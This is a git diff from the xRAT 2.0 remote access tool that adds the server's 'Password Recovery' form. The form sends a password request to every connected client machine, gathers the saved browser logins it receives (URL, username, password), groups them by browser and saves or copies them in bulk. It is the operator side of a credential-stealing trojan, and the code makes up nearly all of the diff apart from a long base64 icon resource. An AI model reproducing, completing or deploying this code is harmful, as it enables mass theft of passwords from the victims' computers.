this.txtFormat.Location = new System.Drawing.Point(6, 19); + this.txtFormat.Name = "txtFormat"; + this.txtFormat.Size = new System.Drawing.Size(543, 20); + this.txtFormat.TabIndex = 0; + this.txtFormat.Text = "BROWSER - URL - USER:PASS"; + this.txtFormat.TextChanged += new System.EventHandler(this.txtFormat_TextChanged); + // + // allToolStripMenuItem2 + // + this.allToolStripMenuItem2.Name = "allToolStripMenuItem2"; + this.allToolStripMenuItem2.Size = new System.Drawing.Size(152, 22); + this.allToolStripMenuItem2.Text = "All"; + this.allToolStripMenuItem2.Click += new System.EventHandler(this.allToolStripMenuItem2_Click); + // + // selectedToolStripMenuItem2 + // + this.selectedToolStripMenuItem2.Name = "selectedToolStripMenuItem2"; + this.selectedToolStripMenuItem2.Size = new System.Drawing.Size(152, 22); + this.selectedToolStripMenuItem2.Text = "Selected"; + this.selectedToolStripMenuItem2.Click += new System.EventHandler(this.selectedToolStripMenuItem2_Click); + // + // FrmPasswordRecovery + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(573, 445); + this.Controls.Add(this.groupBox2); + this.Controls.Add(this.groupBox1); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "FrmPasswordRecovery"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "xRAT 2.0 - Password Recovery []"; + this.menuMain.ResumeLayout(false); + this.groupBox1.ResumeLayout(false); + this.groupBox2.ResumeLayout(false); + this.groupBox2.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private Controls.ListViewEx lstPasswords; + private System.Windows.Forms.GroupBox groupBox1; + private System.Windows.Forms.ColumnHeader hClientIP; + private System.Windows.Forms.ColumnHeader hURL; + private System.Windows.Forms.ColumnHeader hUser; + private System.Windows.Forms.ColumnHeader hPass; + private System.Windows.Forms.ContextMenuStrip menuMain; + private System.Windows.Forms.ToolStripMenuItem saveToFileToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem saveToClipboardToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator toolStripSeparator1; + private System.Windows.Forms.ToolStripMenuItem clearAllToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem refreshToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem allToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem selectedToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem allToolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem selectedToolStripMenuItem1; + private System.Windows.Forms.SaveFileDialog sfdPasswords; + private System.Windows.Forms.GroupBox groupBox2; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TextBox txtFormat; + private System.Windows.Forms.ToolStripMenuItem allToolStripMenuItem2; + private System.Windows.Forms.ToolStripMenuItem selectedToolStripMenuItem2; + } +} \ No newline at end of file diff --git a/Server/Forms/FrmPasswordRecovery.cs b/Server/Forms/FrmPasswordRecovery.cs new file mode 100644 index 00000000..6f3000f0 --- /dev/null +++ b/Server/Forms/FrmPasswordRecovery.cs @@ -0,0 +1,223 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Text; +using System.Windows.Forms; +using xServer.Core; +using xServer.Core.Recovery.Helper; +using xServer.Settings; + +namespace xServer.Forms +{ + public partial class FrmPasswordRecovery : Form + { + public List ConnectedClients { get; set; } + + public FrmPasswordRecovery(List connectedClients) + { + + ConnectedClients = connectedClients; + foreach (Client client in ConnectedClients) + { + // Set their frmpass to this + client.Value.FrmPass = this; + } + + InitializeComponent(); + this.Text = string.Format("xRAT 2.0 - Password Recovery [Selected: {0}]", ConnectedClients.Count); + + txtFormat.Text = XMLSettings.SaveFormat; + + // Get passwords from clients + SendRefresh(); + } + + #region Public Members + public void SendRefresh() + { + lstPasswords.Items.Clear(); + lstPasswords.Groups.Clear(); + + foreach (Client client in ConnectedClients) + { + // Send request packet + new Core.Packets.ServerPackets.PasswordRequest().Execute(client); + } + } + + public void AddPassword(LoginInfo login, Client client) + { + try + { + ListViewGroup lvg = GetGroupFromBrowser(login.Browser); + + ListViewItem lvi = new ListViewItem() { Tag = login, Text = client.EndPoint.Address.ToString() }; + lvi.SubItems.Add(login.URL); // URL + lvi.SubItems.Add(login.Username); // User + lvi.SubItems.Add(login.Password); // Pass + + if (lvg == null) + { + // No group exists for the browser in question + + lvg = new ListViewGroup(); + // Space in the browser name will not be allowed in the property + lvg.Name = login.Browser.Replace(" ", ""); + lvg.Header = login.Browser; + lvg.Items.Add(lvi); + + this.Invoke(new MethodInvoker(delegate + { + lstPasswords.Groups.Add(lvg); + })); + } + else + { + // Group exists for the browser, lets update it with our new item appended + + // Get the group index so we can quickly set it after we've completed operations + int groupIndex = lstPasswords.Groups.IndexOf(lvg); + + lvg.Items.Add(lvi); + + this.Invoke(new MethodInvoker(delegate + { + lstPasswords.Groups[groupIndex] = lvg; + })); + } + } + catch (Exception ex) + { + MessageBox.Show("Error on adding password: " + ex.ToString(), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + #endregion + + #region Private Members + private string ConvertToFormat(string format, LoginInfo login) + { + return format + .Replace("BROWSER", login.Browser) + .Replace("URL", login.URL) + .Replace("USER", login.Username) + .Replace("PASS", login.Password); + } + + private StringBuilder GetLoginData(bool selected = false) + { + StringBuilder sb = new StringBuilder(); + string format = txtFormat.Text; + + foreach (ListViewItem lvi in (selected ? lstPasswords.SelectedItems.Cast>() : lstPasswords.Items.Cast>())) + { + sb.Append(ConvertToFormat(format, (LoginInfo)lvi.Tag)); + } + return sb; + } + + private void SetClipboard(string text) + { + try + { + Clipboard.SetText(text); + } + catch (Exception ex) + { + MessageBox.Show("Error while copying to your clipboard: " + ex.ToString(), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + private void txtFormat_TextChanged(object sender, EventArgs e) + { + XMLSettings.WriteValue("SaveFormat", txtFormat.Text); + } + #endregion + + #region Group Methods + public ListViewGroup GetGroupFromBrowser(string browser) + { + ListViewGroup lvg = null; + this.Invoke(new MethodInvoker(delegate { + foreach (ListViewGroup group in lstPasswords.Groups) + { + // Check to see if the current group header is for our browser + if (group.Header == browser) + lvg = group; + } + })); + return lvg; + } + + #endregion + + #region Menu + + #region Saving + + #region File Saving + private void allToolStripMenuItem_Click(object sender, EventArgs e) + { + StringBuilder sb = GetLoginData(); + if (sfdPasswords.ShowDialog() == System.Windows.Forms.DialogResult.OK) + { + File.WriteAllText(sfdPasswords.FileName, sb.ToString()); + } + } + + private void selectedToolStripMenuItem_Click(object sender, EventArgs e) + { + StringBuilder sb = GetLoginData(true); + if (sfdPasswords.ShowDialog() == System.Windows.Forms.DialogResult.OK) + { + File.WriteAllText(sfdPasswords.FileName, sb.ToString()); + } + } + #endregion + #region Clipboard Copying + private void allToolStripMenuItem1_Click(object sender, EventArgs e) + { + StringBuilder sb = GetLoginData(); + + SetClipboard(sb.ToString()); + } + + private void selectedToolStripMenuItem1_Click(object sender, EventArgs e) + { + StringBuilder sb = GetLoginData(true); + + SetClipboard(sb.ToString()); + } + #endregion + + #endregion + + #region Misc + + private void refreshToolStripMenuItem_Click(object sender, EventArgs e) + { + SendRefresh(); + } + + private void allToolStripMenuItem2_Click(object sender, EventArgs e) + { + lstPasswords.Items.Clear(); + lstPasswords.Groups.Clear(); + } + + private void selectedToolStripMenuItem2_Click(object sender, EventArgs e) + { + for (int i = 0; i < lstPasswords.SelectedItems.Count; i++) + { + lstPasswords.Items.Remove(lstPasswords.SelectedItems[i]); + } + } + + #endregion + + #endregion + } +} diff --git a/Server/Forms/FrmPasswordRecovery.resx b/Server/Forms/FrmPasswordRecovery.resx new file mode 100644 index 00000000..602cdcce --- /dev/null +++ b/Server/Forms/FrmPasswordRecovery.resx @@ -0,0 +1,665 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + 122, 17 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8BRT88fTMq + JtM3LSnVOS8q1y0nJXcAAAApAAAAEwAAABcAAAAtMysnizsvKtc5LinXNSwo1UA5N4v///8B////AWdh + Xh80KCL1LiAb/y8hG/8vIx7rBgYGWwAAAFEAAABRHBoZZTcoIvcwIRv/LiEb/zQnI/lcVlMl////Af// + /wEAAAAJPDMvhykdF/8pHRf/Kx4Y/ykgHJcAAAALAAAACUQ3MbMvIBj/LR4X/y0eF/9DOTSRAAAACf// + /wH///8B////AZuYlgk3KiTbJxoU/yYZE/8nGxb5QDg0J2VdWUMqHRj/JRkU/yQYFP83LCfjpKGgDf// + /wH///8B////Af///wH///8BZFFJTTwjGf8xHBL/MRsT/zYlHrk9LCXXMx8Z/ycXEv8nGBT/XlVSV/// + /wH///8B////Af///wH///8B////Af///wFgPC21WCoX/1ktHP9DIRT/NxwS/zodFP82HBP/SDUwvf// + /wH///8B////Af///wH///8B////Af///wH///8BsIh1J7B0VfmgYUP/jk4z/3E2If9OIhP/RyQY+3lp + ZC3///8B////Af///wH///8B////Af///wH///8B////Af///wGaZEqJmVQ5/8mBa//Kgm7/m1M//3tI + OI////8B////Af///wH///8B////Af///wH///8B////Af///wH///8BlmNSW8l9Z//ik4T/76KV/+qg + k/+7jYRd////Af///wH///8B////Af///wH///8B////Af///wH///8BmoB7D9iMfeXtmY3/+Lq1//ez + r//3rqr/6bWy5ZCBgQ////8B////Af///wH///8B////Af///wH///8B////Adyzq4/5tq//+rq2//zO + zP/7urf/+7i2//zDwf/as7GR////Af///wH///8B////Af///wH///8B////AcatpjH10sz7/NfT//zN + yf/30c7t77664fzJxf/90s//9s/M+7ylozP///8B////Af///wH///8B////AcGzrgPsw7bH+9TN//vW + 0P/829b/7dPPaeXIw1H6z8j//NvW//zb1v/ox8PJrKOhA////wH///8B////Af///wHis6Bn+cWz//rL + vf/5y77/8tHJzdvU0gP///8B8MrBt/vRyP/708r/+s/F/9i3rmn///8B////Af///wGphHIX76yP7fi/ + qP/3vKX/9MCs/d7FvTv///8B////AdrGwCX1zL/3+s7A//jHt//vwbDvwaykF////wH///8BxpF3kems + j/PstJrz7bSa9eO2oZ3///8B////Af///wH///8B4MG0ge7KuvHrvqvv7bmk79u3p5X///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////AWJeXks8NjOfPTc0pUA6 + N6dCPDmpRD47rUU/PK9HQT6vQT08cQAAACEAAAAPAAAABf///wH///8B////Af///wEAAAAHAAAAEwAA + ACc+OTeNSkI+sUhBPq9GQDyvRT46rUI8OatAOjipPjg2pVBOTWP///8B////Af///wH///8BgX59GT00 + MPEsIR3/LSEd/y4iHf8vIx3/MCMd/y8jHf83LSnvCgoKWwAAAE8AAABDAAAAMQAAAB0AAAAhAAAANwAA + AEcAAABPKyopdzgqJP0yIx3/MCMd/zAiHf8wIx3/LiId/y0hHf82LCj5YV9fJ////wH///8B////Af// + /wH///8BZV9ccS4hG/8uIRv/LiIc/y4hG/8vIRv/LyIc/zAiHP8sJySzAAAAUwAAAFMAAABTAAAAUQAA + AFEAAABTAAAAUwICAlVHPDjdNCMc/zEiHP8wIhv/LyIb/y4hHP8tIBz/LSEc/1dRT4f///8B////Af// + /wH///8B////Af///wGXk5IFTEI91SwfGv8tIBr/LSAa/y8hG/8uIRr/LiAa/zAkH/sVFRRxAAAAUwAA + AFEAAABLAAAASwAAAFEAAABTSENBmTIjHP8xIRr/MCEa/y8gGv8uIBr/LiAa/y4gGv9KQDvji4mIDf// + /wH///8B////Af///wH///8B////AQAAAAlRTUtVMiYg/ywfGf8sHxn/LR8Z/y0fGf8tHxn/LyAZ/ywk + INEAAAAxAAAAGwAAAAsAAAAJAAAAFyUlJT9HOjPzMSIZ/y8hGf8uIBj/Lh8Y/y4fGP8vIBj/MyUe/1pW + VGkAAAAJ////Af///wH///8B////Af///wEAAAAFAAAAEwAAABtJQj6tJxsW/yYbFv8mGxb/JhsW/ykd + F/8pHBf/KBwX/zo1M1n///8B////Af///wH///8BbWJdnS8fF/8wIBj/LR4X/ywdF/8rHRb/LB0W/y0d + Fv9TSkXDAgICGwAAABMAAAAH////Af///wH///8B////Af///wH///8B////AZuYlh05LirzJhoV/yQZ + FP8jGRP/JBkT/yQZFP8kGRT/KyIe5WJgXw3///8B////AaKdmzk2KST9KBsV/ygbFf8mGhX/JhoV/yYa + Ff8nGxX/OjAq+6ShoC3///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AWth + XXsuHBT/LRsU/ykaE/8nGRP/KBoT/yYZE/8oGhT/PTQwi////wG5trUDU0lFzyUYE/8kFxP/IxcS/yIX + E/8hFhP/IhcT/yMXEv9wameR////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8Bp6CdCVU/NttVNSn/Mx0T/zAcE/8xHRP/LxwT/y4bE/8vHxn5VlFPKXhvbG0pGRT/KBgT/ycX + Ev8lFhL/JBYS/ycYFP8jFRL/Rjw46be1tBH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Bhnp2TzYgF/8xGxL/MBsS/zIbEv8zGxL/NBwT/zAbEv8+LynFRjMs7y8a + Ev85IRr/RC0n/ysYE/8oFhL/JxYR/y4cGP+IgoBh////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BYkxEtz8eEf8/HxH/Px8S/0clGv9HJhv/OB0S/zYc + Ev80HBL/NBwS/zoeFf9AIhn/NBsT/zIaE/8sFxH/XU9Mx7i1tAP///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGlk4wnd0Ir+XM3HP9wNRv/cDYf/2cy + Hf9UKBb/SSMV/z4dEv84GhH/NhoS/zcbEv88IBX/NRoR/0EqI/2knpw1////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGug3CJqmtM/6pr + TP+iYUT/llU6/4JCJf91OB//ZS4Y/1AjE/9CHhL/PBwR/zwcEf87GxD/c2Jcmf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Acm3 + rQ28im7lr3JQ/6hpSf+jZEX/oF9B/6JgRv+UUDj/ezkh/2csF/9UJRP/TCES/1k7MO2spqQV////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AbaVg12VVTb/ikcp/5VRNv+5dlz/wXtl/8R+af+pYUz/jEUx/3o3IP9sLxn/f2hfa/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AZJfSsWMRyv/uHJZ/8+GcP/aj33/45mG/9mRff/Eemf/oVdF/4pW + SM+ThH8D////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bh2VYb7NrUv/RhnD/zn5t/+eXiP/wo5T/6JuK/+md + jP/bjn7/kW5ndf///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AXprZxGfYU7n0YNu/9B/bv/fjH3/9amf//au + pv/tnZD/8qSZ//Oyp//UnpTpin17E////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BnW1hlduIdv/jj37/5pCD//Sm + m//5v7v/+L26//Slnf/1pJ7/+Lax//e9t/+4mJSZ////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AZqAezXbjn799KKV//Wg + lf/3pp7/+ri1//vLyf/6wb//96qm//iqp//5s7P/+ru6/+q3tv2QgYE5////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGdlZMD0JmNzfep + nv/6sqz/+bOt//q4tf/7x8X//NDO//zAv//5r6z/+bCu//u4t//8vbz//MHA/86op8+Qh4YF////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AbCb + lm3508z/+8W///q3sv/6ubX//MXD//zOzP/90tD//MPA//q2s//7ubX//L+8//3Fw//8yMb/+srI/6qT + knH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wGWjowZ4sK88fzY0//82tb//M/L//zEwf/8ycb//M/N//nS0P/ou7j7+7y4//vAu//8ysf//M7L//3Q + zf/90M7/4b678YuEgxv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Ac2xqqf71c3//NnT//zZ1f/82tb//dzY//zMx//80c3/6dDOs822tIf7x8H/+8jC//zT + z//91tL//dfT//3W0//919P/xKuoq////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wG/q6VF8si7//vUzP/819H//NfR//vZ1P/839v//NvX//TSzvfY0M8ly8LBDerH + weH7zcX//NXQ//zc1//83Nj//NzX//3a1v/yzsr/qZqXSf///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BwbOuCeW7rNn6zb//+9LJ//zVzf/60sv/+9XP//za1f/72NH/5tXShf// + /wH///8B3czJVffKwf/70cr//NnT//zb1v/829b//NrU//zY0v/cvbfdrKOhCf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wHYtKd/+MGu//rLvP/6z8P/+s/E//rMvv/60cf/+9XN/+3Q + yuHb1NIL////Af///wH///8B5sjBu/rNw//70sn/+9XO//zWzv/71M3/+9PL//rPxv/FrKaD////Af// + /wH///8B////Af///wH///8B////Af///wH///8BvKmgJe2znPf4v6z/+ce2//nIuP/5xbX/+MS0//nM + vv/2z8T/2MvGVf///wH///8B////Af///wHTyccp8srA+frOwv/70Mf/+9HH//vQxv/6zsL/+s3B/+m/ + tPmtop8p////Af///wH///8B////Af///wH///8B////Af///wHUoIm597SY//i/qf/5w6//+L+q//e+ + qf/3v6v/+Mi3/+LGvb3///8B////Af///wH///8B////Af///wHcxsGJ+c3A//rNv//60ML/+s7B//nK + vP/5ybr/+cm6/9Oypr3///8B////Af///wH///8B////Af///wH///8BqYRyV/Gnhf/3s5X/+L2k//i9 + pP/3uZ//97mg//a7of/sv675y8PAK////wH///8B////Af///wH///8B////Aca9ug3lxrvj+tDB//rP + wP/5zL3/+cm3//jCr//4xbH/88Ku/8GspF3///8B////Af///wH///8B////AYl4bw/YmHnl96yI//ez + k//4uJv/97SX//e0lv/3tZf/9rWZ/9S3rI3///8B////Af///wH///8B////Af///wH///8B////Ab+2 + s1Xzybj/+dDA//jNu//4xrH/+MCp//e9pf/4wKr/5Lmn6cC4tBH///8B////Af///wH///8Bk3twcdCX + eeHXpIrl3K6X59+yneffsZnp4bOc7eO1nu3atKLby8C7D////wH///8B////Af///wH///8B////Af// + /wH///8B////AdO5rq/nybvn38Gy4du7reHetaTf4LKe3eG0od3juabbvq+of////wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8BXFpZHUZC + QWU3MzFxODQydzo2NXk9OTh7QDw6f0E+PIFDPz2FQz89hURAPodHREKJREFAaQYGBiMAAAAVAAAACQAA + AAUAAAAD////Af///wH///8B////Af///wH///8BAAAAAwAAAAcAAAALAAAAGRgYGDVDPj17SURCi0dC + QIlGQj+JRUA+h0M/PYVCPjyFQTw6gT88OoE+Ojh/PTk3e0A+PHNXVlU1////Af///wH///8B////Af// + /wH///8Bcm9uLU9JRtM3Lir/Ni0p/zcuKv84Lir/OS8r/zowK/86MCv/PDEs/zwyLP87MSz/Qjo23yQk + I2sAAABDAAAANwAAACkAAAAdAAAADwAAAAcAAAADAAAABQAAAAsAAAATAAAAIQAAAC8AAAA7BAQESzEt + K5U+My7zPjIs/z0yLP89Miz/PDEr/zwxK/87MCv/OS8q/zgvKv83Lir/Ni0p/0I8OuFdW1pH////Af// + /wH///8B////Af///wH///8BgX59B2ReXHc3LSn1LCEd/y0hHf8uIR3/LiId/y4iHf8vIx3/LyMd/y8j + Hf8wIx3/Myci+zErKa8HBwdZAAAAUQAAAE0AAABJAAAAPwAAADEAAAAlAAAAKwAAADkAAABDAAAASwAA + AE8AAABRISAfa0E4M9s0Jh7/MiMd/zEjHf8wIh3/MCId/y8iHf8vIh3/LiId/y0hHf8tIR3/Mygl+0xH + RY1jYWEN////Af///wH///8B////Af///wH///8B////AY2JiBNWT0y1LSEb/y4hG/8uIRv/LiIc/y4h + G/8uIRv/LyEb/y8iHP8vIhz/MCIc/zMpJfMiHx6FAAAAUwAAAFMAAABTAAAAUwAAAFMAAABRAAAAUQAA + AFMAAABTAAAAUwAAAFMBAQFVR0A9uTkqJP81JBz/MSIc/zAiG/8vIhv/LyIb/y8hG/8uIRz/LSAc/y0g + HP8tIRz/SUE+xXVycSP///8B////Af///wH///8B////Af///wH///8B////Af///wGHg4FBQTcy+S0g + G/8uIBv/LiEb/y4hG/8tIBv/LyEb/y4hG/8wIhv/LyEb/y8iHP8xKibVBAQEWQAAAFMAAABTAAAAUwAA + AFMAAABTAAAAUwAAAFMAAABTAAAAUwAAAFM1MzN3Rjo19zIiG/8yIhv/MSIb/zEiG/8vIRv/LiEa/y4h + G/8uIBv/LSAb/y0gG/87MCz9dXJwW////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wGXk5IFY1tXpzAkHv8sHxr/LR8a/y0gGv8tIBr/LiAa/y0gGv8uIBr/LiAa/y4gGv8vIx79IyEhkQAA + AFMAAABTAAAAUQAAAE0AAABHAAAARQAAAE0AAABRAAAAURAQEF1XUEzHMiMb/zEhGv8xIRr/MCEa/y8h + Gv8vIBr/LiAa/y4gGv8uIBr/LiAa/y8hHP9kXFnDi4mIC////wH///8B////Af///wH///8B////Af// + /wH///8B////AQAAAAMAAAAFWVNRNUg+OdctIBr/LB8Z/ywfGf8sHxn/LR8Z/y4fGf8tHxn/LR8Z/y4g + Gf8uIBn/LSQf4RYVFWcAAAA5AAAAKQAAABsAAAAPAAAADQAAABcAAAAlCgoKO1ZRTpU+MCj1MCIZ/zAh + Gf8vIRn/LiAY/y4fGP8uHxj/Lh8Y/y4fGP8vIBj/MCEa/0tBPOddWVdFAAAABQAAAAP///8B////Af// + /wH///8B////Af///wH///8BAAAAAwAAAA8AAAAbCwsLMUQ+PI8yJyL1Kh0X/yoeGP8pHRf/Kh4Y/yod + GP8qHhj/Kx8Y/y0fGP8sHxj/LCAa+S8oJpcmJSQZAAAABf///wH///8B////Af///wEAAAADbWdjM1RI + QtEzJBz/MiIY/zEhGf8uIBj/Lh8Y/y0eF/8sHhf/LB4X/y4eF/8uHxb/OCoj+VBKR6EZGRk1AAAAGwAA + AA8AAAAF////Af///wH///8B////Af///wH///8BAAAAAwAAAAkAAAAPAAAAEUVCQilQSEXHJhsW/yYb + Fv8lGxX/JRoW/yUaFf8lGhX/KRwW/ykcFv8oGxb/JxsW/y4lIeU7NjM9////Af///wH///8B////Af// + /wH///8Bf3ZzjTorJPsuHxf/Lh8X/y4fF/8sHRf/LB0X/yscFv8rHBb/Kx0W/ywdFv8sHRb/UUdC12Jg + XzsBAQERAAAADwAAAAkAAAAD////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wGbmJY/Niwo9yUaFf8mGhT/JBkU/yMZE/8jGRP/JBkT/yQZFP8kGRT/JBkT/yQZFP81LivFYWBeC/// + /wH///8B////Af///wGopKI7Rzw3+yobFv8pGxX/KRsV/ygbFf8nGxX/JxsV/ycbFf8nGxX/KRwV/ycb + FP84LCf7pKGgXf///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wGkoKADZFtYqS4gG/8pGxT/JxkU/yUZE/8kGRP/JBgT/yQZE/8kGRT/JBgT/yQZ + FP8nHBf/TEhGX////wH///8B////Abe0sxdrYl+xJhoU/yYZFP8kGBP/JBgT/yQYE/8jGBP/IxgU/yMY + FP8jGBT/JBgT/ykdGf9qY2DDqqinCf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BgXh1PU4/ON8wHRT/MRwU/ywbFP8qGhP/KBkS/yka + E/8pGhP/JxgT/ycZE/8qGxT/NCgjx1xYVyX///8Buba1A4F7eGU9MSzvJRgT/yUYE/8kFxP/IxcS/yIW + Ev8hFxP/IRYT/yEWE/8iFxP/IxcS/0pBPe2JhINP////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8Bp6CdB3BhW3dHLiP1aUg8/zsg + Fv8xHBP/LxwT/zEdE/8wHBP/LhsT/y4bE/8tGxP/Lh4Y+zwxLpFYU1ENjoiGM1BEQNMpGBP/KBgT/ycX + Ev8mFxL/JRYS/yQWEv8kFhL/JxgV/yIVEf8iFRL/MSUh+WxlYo23tbQN////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AaCX + kyFgTETDQSMY/zYeE/8yHBL/MBsS/zEcEv8yHBL/MRwS/zEcE/8wGxL/LhsS/zUlH+NOREBFbmNfmTYl + Hv0qGBL/KxkT/ywZFP8qGBP/JxYS/yYWEv8mFhL/KRgU/yUVEv8lFRH/VElH06ShoDH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AaqhngORhoJZOiUd/zEbEv8xGxL/MBsS/zEbEv8zGxL/MxsS/zMbEv82HBT/MBsS/zIc + E/9GOjXLRjMs8zEbEv8xGxL/OSAZ/1s/Of9BKSP/LRoT/yoXEv8oFhL/JxYR/ykXEv81Ix7/mJORc62q + qQX///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BcmFasT4iF/87HRH/Ox4R/zweEv88HhL/Px8V/0Ul + G/89IBX/NhwS/zYcEv80GxL/NBwS/zQbEf80HBL/OR4V/0cnHv89IRj/NBsT/zMcFP8wGRP/KxcR/y4b + Fv90amfHuLW0Bf///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BhnFqQWVBM+FUJxP/VScT/1Un + E/9TJhP/WCsa/2k8Lf9SKhv/RCEU/0QjF/87HhP/OBwS/zYbEv81GhH/NRsS/zgcE/84HBL/PyMZ/zQa + Ev8yGRH/LxcR/0w6NeuGfXtR////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BqJaPDZBo + WI1+RCv7ezwg/3o7H/92OR3/dDce/3Q4IP9oMBn/WSoV/1InFf9IIhP/QR8S/zscEf85GhH/NhoS/zYa + Ev83GhL/Ox4U/zcbEf81GhH/PiUe/W9gXJ+ooqAR////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Ab6poCWlclvHo2RF/6RkRv+jY0X/nVs+/5VUOP+NTTH/fkAj/3U4Hf9tMxr/YCwX/1Ml + FP9IIBL/Px0S/zwcEf87GxH/OxwR/zscEP85GxD/W0U+0bCpqDH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wHAo5ZfuoJk/7p+Xf+4e1v/tHZW/61vUf+oak7/mlo8/5NS + Nf+OSzL/gT8m/3M1Hv9lLBf/VCQU/0shEv9DHhH/QR0R/0EdEf9EJhv/kYeDc7CqqAP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wHJt6wLvpZ/x7N1VP+naUf/oWJB/55f + QP+cXD3/nFo9/6FfQ/+nZEv/nFhA/4tHMP97OSL/bjAa/2IqFf9XJhP/UCMS/0wiEf9wWVHXrKakEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BuJaDQap1 + W+eWVTX/i0gq/4xJLP+WUTb/r2xR/757Yv++eGL/wHpl/7JtV/+cUz//iUMu/346I/90Mxv/ai0X/2xA + 